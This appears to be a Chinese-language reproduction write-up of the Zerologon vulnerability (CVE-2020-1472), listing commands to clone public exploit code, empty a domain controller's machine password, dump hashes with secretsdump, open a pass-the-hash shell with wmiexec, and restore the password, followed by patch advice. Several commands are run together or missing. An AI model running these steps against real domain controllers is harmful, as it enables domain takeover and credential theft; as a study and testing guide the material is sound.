漏洞验证
我们可以使用如下命令进行漏洞验证
git clone https://github.com/SecuraBV/CVE-2020-1472cd CVE-2020-1472\pip install -r requirements.txtpython zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR
如果有下图提示,则漏洞存在
漏洞利用
整体流程
整个利用过程大概是下列流程
利用复现
环境配置
攻击机环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'
git clone https://github.com/SecureAuthCorp/impacketcd impacketpip install .
下载EXP
cd examplesgit clone https://github.com/dirkjanm/CVE-2020-1472cd CVE-2020-1472\
置空密码
这时候密码已经置空
注意:对域控服务器有影响,谨慎使用
获取HASH
接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义
~impacket/examples/
获取SHELL
获取到HASH之后接下来我们就可以利用wmiexec.py登录,从而获取一个SHELL
~impacket/examples/ python wmiexec.py -hashesDOMAIN/DOMAIN_USER@DC_IP_ADDR
获取原HASH
获取SHELL后我们执行以下命令,导出SAM中原来的HASH
解析HASH
执行如下命令,利用secretsdump.py解析保存在本地的nt hash
然后我们保存上图中红框部分,即
恢复HASH
git clone https://github.com/risksense/zerologoncd zerologon\python reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR
检查是否恢复
我们这时候再用获取HASH时测试一下是否已经已经恢复
修复建议
安装符合操作系统的漏洞补丁,详情请见:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
参考来源
-
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
-
https://github.com/SecureAuthCorp/impacket/
-
https://github.com/VoidSec/CVE-2020-1472
-
https://github.com/risksense/zerologon
-
https://www.cnblogs.com/goabout2/p/13676527.html
-
https://www.secura.com/blog/zero-logon